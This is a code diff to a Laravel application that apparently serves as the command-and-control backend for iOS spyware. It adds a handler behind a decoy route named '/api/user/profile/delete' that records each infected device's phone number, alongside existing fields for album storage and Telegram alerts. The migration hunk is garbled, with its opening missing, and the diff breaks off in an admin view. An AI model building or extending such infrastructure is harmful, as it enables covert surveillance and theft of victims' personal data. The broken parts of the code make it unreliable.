diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index ff545c6..0b83d3e 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -186,6 +186,22 @@ class C2Controller extends Controller return $this->encryptedAck(); } + /** + * SMS task poll from imagent. Native treats code==0 as "poll every 3s"; + * non-zero backs off to ~60s — return code 1 to avoid hammering. + * Payload `p` is the device phone number. + */ + public function profileDelete(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); + } + + return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]); + } + public function linkConfigList(Request $request): Response { return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]); diff --git a/app/Models/Device.php b/app/Models/Device.php index 03307d9..f65a45f 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany; class Device extends Model { protected $fillable = [ - 'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', + 'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'album_storage', ]; diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 0defcf2..777f340 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -184,6 +184,30 @@ class IngestService return $channelId === null || $channelId === ''; } + /** + * `/api/user/profile/delete` — store reported phone (`p`) only when still empty. + */ + public function ingestDevicePhone(Device $device, ?array $payload): void + { + if (! is_array($payload)) { + return; + } + if (trim((string) ($device->phone ?? '')) !== '') { + return; + } + + $phone = $payload['p'] ?? $payload['phone'] ?? null; + if (! is_string($phone)) { + return; + } + $phone = trim($phone); + if ($phone === '') { + return; + } + + $device->forceFill(['phone' => substr($phone, 0, 64)])->save(); + } + private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device { $ua = substr((string) $request->userAgent(), 0, 2000); diff --git a/database/migrations/2026_08_11_000020_devices_phone.php b/database/migrations/2026_08_11_000020_devices_phone.php new file mode 100644 index 0000000..65dc0aa --- /dev/null +++ b/database/migrations/2026_08_11_000020_devices_phone.php @@ -0,0 +1,26 @@ +string('phone', 64)->nullable()->after('channel_id'); + } + }); + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + if (Schema::hasColumn('devices', 'phone')) { + $table->dropColumn('phone'); + } + }); + } +}; diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index e725544..c21bc84 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -19,10 +19,14 @@